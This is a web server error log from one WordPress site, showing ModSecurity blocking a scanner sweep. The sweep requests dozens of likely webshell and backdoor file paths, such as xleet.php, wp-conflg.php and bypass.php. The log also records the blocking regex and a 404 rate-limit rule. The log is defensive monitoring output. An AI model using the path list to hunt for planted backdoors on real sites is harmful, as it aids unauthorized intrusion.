[Wed Dec 24 10:53:17.877564 2025] [:error] [pid 29371:tid 29383] [client 63.135.161.46:33825] [client 63.135.161.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aUtVnXs-DlKLysSq5L8iugAAAco"]
[Wed Dec 24 10:53:19.395432 2025] [:error] [pid 29371:tid 29389] [client 63.135.161.56:61723] [client 63.135.161.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aUtVn3s-DlKLysSq5L8i2gAAAdA"]
[Wed Dec 24 10:53:21.755620 2025] [proxy_fcgi:error] [pid 28405:tid 28433] [client 63.135.161.53:47747] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:22.099631 2025] [proxy_fcgi:error] [pid 28405:tid 28434] [client 63.135.161.53:47747] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:22.373150 2025] [:error] [pid 28405:tid 28414] [client 63.135.161.53:47747] [client 63.135.161.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.trash7309/index.php"] [unique_id "aUtVosKkTWlhmfdXFqb1swAAAUU"]
[Wed Dec 24 10:53:23.684671 2025] [proxy_fcgi:error] [pid 16467:tid 16516] [client 63.135.161.74:28589] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:23.945675 2025] [proxy_fcgi:error] [pid 16467:tid 16520] [client 63.135.161.74:28589] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:24.972609 2025] [proxy_fcgi:error] [pid 16467:tid 16518] [client 63.135.161.74:28589] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:25.235625 2025] [proxy_fcgi:error] [pid 16467:tid 16520] [client 63.135.161.74:28589] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:25.498633 2025] [proxy_fcgi:error] [pid 16467:tid 16505] [client 63.135.161.74:28589] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:25.774729 2025] [proxy_fcgi:error] [pid 16467:tid 16510] [client 63.135.161.74:28589] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:26.047996 2025] [:error] [pid 16467:tid 16514] [client 63.135.161.74:28589] [client 63.135.161.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aUtVpo0TJMcBxX5slgrs1QAAAFE"]
[Wed Dec 24 10:53:26.586033 2025] [:error] [pid 28405:tid 28426] [client 63.135.161.51:31017] [client 63.135.161.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aUtVpsKkTWlhmfdXFqb19AAAAVA"]
[Wed Dec 24 10:53:27.098035 2025] [:error] [pid 54139:tid 54141] [client 63.135.161.58:48689] [client 63.135.161.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aUtVp8rYCZenIDzgXuINxQAAAQA"]
[Wed Dec 24 10:53:28.853692 2025] [proxy_fcgi:error] [pid 16468:tid 16524] [client 63.135.161.74:56135] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:29.134649 2025] [proxy_fcgi:error] [pid 16468:tid 16544] [client 63.135.161.74:56135] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:29.596628 2025] [proxy_fcgi:error] [pid 16468:tid 16536] [client 63.135.161.74:56135] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:30.049329 2025] [:error] [pid 16468:tid 16548] [client 63.135.161.74:56135] [client 63.135.161.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aUtVqodyfuSTFLkCbP8w4AAAAJg"]
[Wed Dec 24 10:53:31.486300 2025] [:error] [pid 16468:tid 16537] [client 104.234.53.208:23449] [client 104.234.53.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aUtVq4dyfuSTFLkCbP8w7wAAAI0"]
[Wed Dec 24 10:53:31.919505 2025] [:error] [pid 16466:tid 16475] [client 63.135.161.63:58851] [client 63.135.161.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aUtVq7u0JcuKJMjJn6zO_AAAAAU"]
[Wed Dec 24 10:53:33.215264 2025] [:error] [pid 16468:tid 16546] [client 104.234.53.207:62165] [client 104.234.53.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aUtVrYdyfuSTFLkCbP8xBAAAAJY"]
[Wed Dec 24 10:53:34.896461 2025] [:error] [pid 28405:tid 28419] [client 63.135.161.46:55109] [client 63.135.161.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aUtVrsKkTWlhmfdXFqb2aAAAAUk"]
[Wed Dec 24 10:53:35.769205 2025] [:error] [pid 16466:tid 16480] [client 104.234.53.213:62877] [client 104.234.53.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aUtVr7u0JcuKJMjJn6zPTAAAAAo"]
[Wed Dec 24 10:53:36.688240 2025] [proxy_fcgi:error] [pid 28777:tid 28792] [client 63.135.161.69:56025] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:37.225904 2025] [proxy_fcgi:error] [pid 28777:tid 28793] [client 63.135.161.69:56025] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:38.839280 2025] [:error] [pid 28777:tid 28784] [client 63.135.161.69:56025] [client 63.135.161.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aUtVspBVBcZ34cSqz8rPjQAAAYU"]
[Wed Dec 24 10:53:39.287603 2025] [proxy_fcgi:error] [pid 28777:tid 28790] [client 63.135.161.50:21729] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:39.741300 2025] [:error] [pid 28777:tid 28803] [client 63.135.161.50:21729] [client 63.135.161.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/about.php"] [unique_id "aUtVs5BVBcZ34cSqz8rPpAAAAZg"]
[Wed Dec 24 10:53:40.648635 2025] [proxy_fcgi:error] [pid 16468:tid 16540] [client 63.135.161.47:22917] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:41.342619 2025] [proxy_fcgi:error] [pid 16468:tid 16539] [client 63.135.161.47:22917] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:41.571920 2025] [:error] [pid 16468:tid 16544] [client 63.135.161.47:22917] [client 63.135.161.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aUtVtYdyfuSTFLkCbP8xfwAAAJQ"]
[Wed Dec 24 10:53:43.450474 2025] [:error] [pid 16550:tid 16575] [client 104.234.53.222:62795] [client 104.234.53.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aUtVt6YYcdD-LuO7vrB8IgAAANc"]
[Wed Dec 24 10:53:44.139335 2025] [proxy_fcgi:error] [pid 28777:tid 28791] [client 104.234.53.225:36937] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:44.792388 2025] [:error] [pid 28777:tid 28784] [client 104.234.53.225:36937] [client 104.234.53.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aUtVuJBVBcZ34cSqz8rQAgAAAYU"]
[Wed Dec 24 10:53:46.414949 2025] [:error] [pid 28777:tid 28792] [client 63.135.161.62:48945] [client 63.135.161.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aUtVupBVBcZ34cSqz8rQJwAAAY0"]
[Wed Dec 24 10:53:46.885906 2025] [proxy_fcgi:error] [pid 28777:tid 28786] [client 63.135.161.55:60063] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:47.233618 2025] [proxy_fcgi:error] [pid 28777:tid 28790] [client 63.135.161.55:60063] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:47.467060 2025] [:error] [pid 28777:tid 28783] [client 63.135.161.55:60063] [client 63.135.161.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aUtVu5BVBcZ34cSqz8rQPwAAAYQ"]
[Wed Dec 24 10:53:47.935365 2025] [:error] [pid 28777:tid 28792] [client 63.135.161.48:42541] [client 63.135.161.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aUtVu5BVBcZ34cSqz8rQSQAAAY0"]
[Wed Dec 24 10:53:49.085664 2025] [proxy_fcgi:error] [pid 54139:tid 54159] [client 63.135.161.50:59675] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:49.544291 2025] [:error] [pid 54139:tid 54156] [client 63.135.161.50:59675] [client 63.135.161.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aUtVvcrYCZenIDzgXuIO-AAAAQ8"]
[Wed Dec 24 10:53:49.979612 2025] [proxy_fcgi:error] [pid 16550:tid 16569] [client 104.234.53.212:24117] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:50.867612 2025] [proxy_fcgi:error] [pid 16550:tid 16554] [client 104.234.53.212:24117] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:51.078615 2025] [:error] [pid 16550:tid 16553] [client 104.234.53.212:24117] [client 104.234.53.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aUtVv6YYcdD-LuO7vrB8yAAAAME"]
[Wed Dec 24 10:53:52.939174 2025] [proxy_fcgi:error] [pid 16466:tid 16477] [client 104.234.53.217:31847] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:53:53.399311 2025] [:error] [pid 16466:tid 16486] [client 104.234.53.217:31847] [client 104.234.53.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aUtVwbu0JcuKJMjJn6zQLAAAABA"]
[Wed Dec 24 10:53:53.821443 2025] [:error] [pid 28777:tid 28803] [client 104.234.53.211:64279] [client 104.234.53.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aUtVwZBVBcZ34cSqz8rQkAAAAZg"]
[Wed Dec 24 10:53:54.738353 2025] [:error] [pid 16467:tid 16506] [client 63.135.161.48:58133] [client 63.135.161.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aUtVwo0TJMcBxX5slgruVgAAAEk"]
[Wed Dec 24 10:53:55.881344 2025] [:error] [pid 54139:tid 54153] [client 63.135.161.70:59237] [client 63.135.161.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aUtVw8rYCZenIDzgXuIPVQAAAQw"]
[Wed Dec 24 10:53:57.330672 2025] [:error] [pid 16466:tid 16483] [client 63.135.161.73:25087] [client 63.135.161.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aUtVxbu0JcuKJMjJn6zQUgAAAA0"]
[Wed Dec 24 10:53:58.011490 2025] [:error] [pid 28777:tid 28784] [client 104.234.53.224:27503] [client 104.234.53.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35_SpaceTn.php"] [unique_id "aUtVxpBVBcZ34cSqz8rQrgAAAYU"]
[Wed Dec 24 10:53:58.446657 2025] [proxy_fcgi:error] [pid 16468:tid 16534] [client 104.234.53.210:54493] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:54:01.204897 2025] [:error] [pid 16468:tid 16541] [client 104.234.53.210:54493] [client 104.234.53.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aUtVyYdyfuSTFLkCbP8ymAAAAJE"]
[Wed Dec 24 10:54:02.157665 2025] [:error] [pid 28777:tid 28794] [client 63.135.161.49:38369] [client 63.135.161.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aUtVypBVBcZ34cSqz8rQ1AAAAY8"]
[Wed Dec 24 10:54:03.634156 2025] [:error] [pid 16467:tid 16511] [client 63.135.161.73:59677] [client 63.135.161.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "aUtVy40TJMcBxX5slgruowAAAE4"]
[Wed Dec 24 10:54:04.470877 2025] [proxy_fcgi:error] [pid 29371:tid 29384] [client 63.135.161.52:32691] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:54:04.691403 2025] [:error] [pid 29371:tid 29387] [client 63.135.161.52:32691] [client 63.135.161.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aUtVzHs-DlKLysSq5L8lewAAAc4"]
[Wed Dec 24 10:54:06.372582 2025] [:error] [pid 16466:tid 16472] [client 63.135.161.74:57047] [client 63.135.161.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aUtVzru0JcuKJMjJn6zQrAAAAAI"]
[Wed Dec 24 10:54:10.046508 2025] [:error] [pid 29371:tid 29386] [client 104.234.53.223:55009] [client 104.234.53.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aUtV0ns-DlKLysSq5L8l8QAAAc0"]
[Wed Dec 24 10:54:10.687575 2025] [proxy_fcgi:error] [pid 16550:tid 16559] [client 104.234.53.214:45555] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:54:10.910530 2025] [:error] [pid 16550:tid 16569] [client 104.234.53.214:45555] [client 104.234.53.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aUtV0qYYcdD-LuO7vrB9wwAAANE"]
[Wed Dec 24 10:54:12.852602 2025] [:error] [pid 28777:tid 28795] [client 63.135.161.75:20989] [client 63.135.161.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aUtV1JBVBcZ34cSqz8rRQAAAAZA"]
[Wed Dec 24 10:54:14.515205 2025] [:error] [pid 16466:tid 16484] [client 104.234.53.210:26155] [client 104.234.53.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/as.php"] [unique_id "aUtV1ru0JcuKJMjJn6zQ8AAAAA4"]
[Wed Dec 24 10:54:15.149621 2025] [:error] [pid 16468:tid 16544] [client 104.234.53.213:28661] [client 104.234.53.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aUtV14dyfuSTFLkCbP8zOgAAAJQ"]
[Wed Dec 24 10:54:16.595315 2025] [:error] [pid 28777:tid 28789] [client 104.234.53.208:58327] [client 104.234.53.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/install.php"] [unique_id "aUtV2JBVBcZ34cSqz8rRYAAAAYo"]
[Wed Dec 24 10:54:17.016904 2025] [:error] [pid 16550:tid 16566] [client 104.234.53.210:23529] [client 104.234.53.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "aUtV2aYYcdD-LuO7vrB-GQAAAM4"]
[Wed Dec 24 10:54:19.829505 2025] [:error] [pid 16467:tid 16503] [client 63.135.161.66:62429] [client 63.135.161.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aUtV240TJMcBxX5slgrvNwAAAEY"]
[Wed Dec 24 10:54:24.068402 2025] [:error] [pid 16467:tid 16501] [client 63.135.161.45:50277] [client 63.135.161.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aUtV4I0TJMcBxX5slgrvSQAAAEQ"]
[Wed Dec 24 10:54:24.852739 2025] [proxy_fcgi:error] [pid 29371:tid 29393] [client 104.234.53.225:22341] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:54:25.101066 2025] [proxy_fcgi:error] [pid 29371:tid 29388] [client 104.234.53.225:22341] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 10:54:25.360244 2025] [:error] [pid 29371:tid 29380] [client 104.234.53.225:22341] [client 104.234.53.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "aUtV4Xs-DlKLysSq5L8nMQAAAcc"]
[Wed Dec 24 10:54:27.511393 2025] [:error] [pid 16467:tid 16504] [client 104.234.53.225:40673] [client 104.234.53.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "aUtV440TJMcBxX5slgrvWAAAAEc"]
[Wed Dec 24 10:54:28.960643 2025] [proxy_fcgi:error] [pid 16550:tid 16555] [client 63.135.161.65:34345] AH01071: Got error 'Primary script unknown'
